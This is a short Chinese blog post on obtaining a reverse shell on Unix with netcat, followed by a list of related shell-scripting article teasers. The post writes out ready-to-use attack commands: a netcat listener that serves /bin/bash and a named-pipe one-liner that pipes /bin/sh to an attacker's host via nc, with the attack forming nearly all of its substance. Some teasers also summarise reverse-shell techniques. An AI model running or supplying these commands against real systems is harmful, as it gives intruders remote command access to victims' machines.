Unix系统NC反弹shell的方法

jiaxiaokai

2014-07-28

NC的原生做法：

nc -l -vv -p 2222 -e /bin/bash
无法使用NC反弹的时候可以这样

先在tmp创建一个普通管道
mknod /tmp/backpipe p
或者
mkfifo /tmp/backpipe p
然后管道一边接入shell,一变用NC反弹到攻击者主机x.x.x.x
/bin/sh 0</tmp/backpipe | nc x.x.x.x listenport 1>/tmp/backpipe

Unix系统NC反弹shell的方法
PS：攻防的对抗一直在思路的转变之间，将原有思路逆转，可能收获不一样的东西！

shell unix

jiaxiaokai

0 关注 0 粉丝 0 动态

关注关注

一篇带给你Linux磁盘管理和Shell编程

Linux磁盘管理常用三个命令为df、du和fdisk。列出文件系统的磁盘使用状况 - 「df」。磁盘分区表操作 - 「fdisk」。磁盘分区工具 - 「parted」。-c - 创建文件系统时检查磁盘损坏情况。-v - 显示详细信息。Shell脚本是一种

tianhuak 2020-11-24

自动设置安卓手机wifi代理的PowerShell脚本

在实际测试工作中，经常要将安卓手机通过wifi代理的形式连接到本机的fiddler或charles服务器代理进行抓包测试。最近一直在想，有没有什么方法可以自动设置安卓手机的wifi代理，曾经想通过修改安卓系统配置文件的方式来修改但是没有找到解决方案。最后决

huha 2020-10-16

PowerShell基本使用教程

个人对PowerShell也不是很熟悉，开始的时候就突然看到开始菜单中多了个叫PowerShell的文件夹，后来一点就看到某个教程视频说PowerShell很厉害但也没怎么听，再后来就看到kali也有了一些PowerShell的脚本这才意识到PowerSh

lianshaohua 2020-09-23

shell脚本中$符号的命令使用汇总

今天是远程办公的第4天，渐渐的找到了一点在家办公的节奏了，改了几个shell脚本，在改动过程中，发现还有一些知识点需要巩固，这里写出来，加深下印象。关于$符号，大家肯定都不陌生，在shell脚本中，$的作用还是比较大多的，这里将所有的$组合都列出来，大家可

laisean 2020-11-11

shell语言date的用法实例

今天没干什么正事儿，都开了会了，写点儿关于shell脚本语言的知识吧，这个也是前两天完成一个业务方的需求的时候使用到的方法，分享出来，希望对大家有点用吧。这种最常见的，就是在脚本中需要输出日志的时候，打印日志的生成时间，而打印的方法，我比较习惯于使用下面的

zhangjie 2020-11-11

shell脚本快速创建、格式化、挂载新添加的磁盘实现方法详解

select W in `ls /dev/sd*|grep -o 'sd[b-z]'|uniq` quit. echo -e "/dev/${W}"1" /data/${W}"1" xfs defaults

大牛牛 2020-10-30

详解shell脚本的编写规范

在脚本的开头加注释，说明脚本作者、编写时间、脚本功能，最好可以加上脚本的版本号。shell中脚本注释用#，注释语句和#号之间有一个空格。变量命名要统一规范，shell变量建议使用全部大写，意思清晰明了，如果是多个字符，可以采用下划线进行切割，如APACHE

firefaith 2020-10-30

shell之定时周期性执行脚本的方法示例

Select an editor. To change later, run 'select-editor'.注意，新创建的cron作业，不会马上执行，至少要过2分钟才执行。如果重启cron服务则会马上执行。ubuntu默认安装了cron，是开机自启动的。

liguojia 2020-10-20

shell模糊匹配与正则详解

正则可以实现一些简单的功能，并用在脚本中，如检测ip地址是否符合规范，检测文件名是否符合规范等等。正则表达式主要是用来描述一个句法规则的模式。其实说的通俗一点，就是利用字符和元字符的组合，对一些符合既定句法的模式进行模糊匹配。它的主要功能是文本查询和字符串

wangzhaotongalex 2020-10-20

Linux Shell 如何获取参数的方法

是显示最后命令的退出状态，0表示没有错误，其他表示有错误。不同点：$* 和 $@ 都表示传递给函数或脚本的所有参数，不被双引号(" ")包含时，都以"$1" "$2" …"$n"

以梦为马不负韶华 2020-10-20

详解NC反弹shell的几种方法

正向反弹是目标机先执行nc命令，然后kali上再进行nc监听，即可反弹shell。此方法在ubuntu下不会反弹成功，CentOS可以反弹成功。注意php反弹shell的这些方法都需要php关闭safe_mode这个选项，才可以使用exec函数。转化为常规

CARBON 2020-10-20

Linux Shell脚本中获取本机ip地址方法

ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:". 假设某个机器有192.*.*.8和10.*.*.*网段的IP，现

彼岸随笔 2020-10-20

Shell用sed命令删除特定行的方法

sed命令作为一个强大的shell命令，可以快速删除任意特定的行列，配合awk命令可以轻松地操作批量处理文件，下面就来看看吧！-e[默认选项]：只在命令行输出，而文件不改变。有了以上的这几个命令，就可以非常轻松地对文件进行处理咯?

lianshaohua 2020-10-20

Linux 中shell脚本设置开头固定格式的实现方法

每次进入shell都要设置开头，很麻烦，现修改vim配置文件即可。之后新建一个shell ，开头就会有固定的格式。这是在root用户下的配置，切换到用户使用shell 可能还是什么都没有，不过一般都是用root用户进行机器的管理。不加sudo 没有权限进入

yutou0 2020-10-17

shell中set指令的用法详解

set 指令可根据不同的需求来设置当前所使用 shell 的执行方式，同时也可以用来设置或显示 shell 变量的值。当指定某个单一的选项时将设置 shell 的常用特性，如果在选项后使用 -o 参数将打开特殊特性，若是 +o 将关闭相应的特殊特性。而不带

JohnYork 2020-10-16

shell字符串截取报错：Bad substitution的解决

lrwxrwxrwx 1 root root 4 Mar 26 2018 /bin/sh -> dash

xiaonamylove 2020-10-16

详解shell中脚本参数传递的两种方式

采用$0,$1,$2..等方式获取脚本命令行传入的参数，值得注意的是，$0获取到的是脚本路径以及脚本名，后面按顺序获取参数，当参数超过10个时，需要使用${10},${11}....才能获取到参数，但是一般很少会超过10个参数的情况。

Julyth 2020-10-16

浅析Linux之bash反弹shell原理

反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作，原因有很多，例如目标是局域网，或者开启防火墙的某些策略等情况，而这时，我们就可以让受害者主动向攻击者发起连接，被控端发起请求到控制端某端口，并将其命令行的输入输出转到控制端，从而实现交互。L

applecarelte 2020-10-16

linux反弹shell的原理详解

0代表输入，0>&1 意思是，将输出的窗口上所输入的值当作当前窗口的输入。反弹shell后会有两个窗口，即靶机的shell窗口跟攻击机的shell口。2代表标准错误输出。这是因为我们已经将所有的输出都重定向到了外部主机上，但问题是现在我们的

ourtimes 2020-10-16

Shell文本处理三剑客之sed的使用

sed 是 stream editor 的缩写，流编辑器，主要用于对标准输出或文件进行处理。# -n 只打印静默模式匹配行，而不输出原行。# -e 追加一组编辑命令。# -f 把所有编辑命令保存在文件中，适用于复杂编辑操作。# -E 支持扩展正则表达式。#

thickbookszone 2020-10-16

安科网

Unix系统NC反弹shell的方法

jiaxiaokai

jiaxiaokai

相关推荐

一篇带给你Linux磁盘管理和Shell编程

自动设置安卓手机wifi代理的PowerShell脚本

PowerShell基本使用教程

shell脚本中$符号的命令使用汇总

shell语言date的用法实例

shell脚本快速创建、格式化、挂载新添加的磁盘实现方法详解

详解shell脚本的编写规范

shell之定时周期性执行脚本的方法示例

shell模糊匹配与正则详解

Linux Shell 如何获取参数的方法

详解NC反弹shell的几种方法

Linux Shell脚本中获取本机ip地址方法

Shell用sed命令删除特定行的方法

Linux 中shell脚本设置开头固定格式的实现方法

shell中set指令的用法详解

shell字符串截取报错：Bad substitution的解决

详解shell中脚本参数传递的两种方式

浅析Linux之bash反弹shell原理

linux反弹shell的原理详解

Shell文本处理三剑客之sed的使用

jiaxiaokai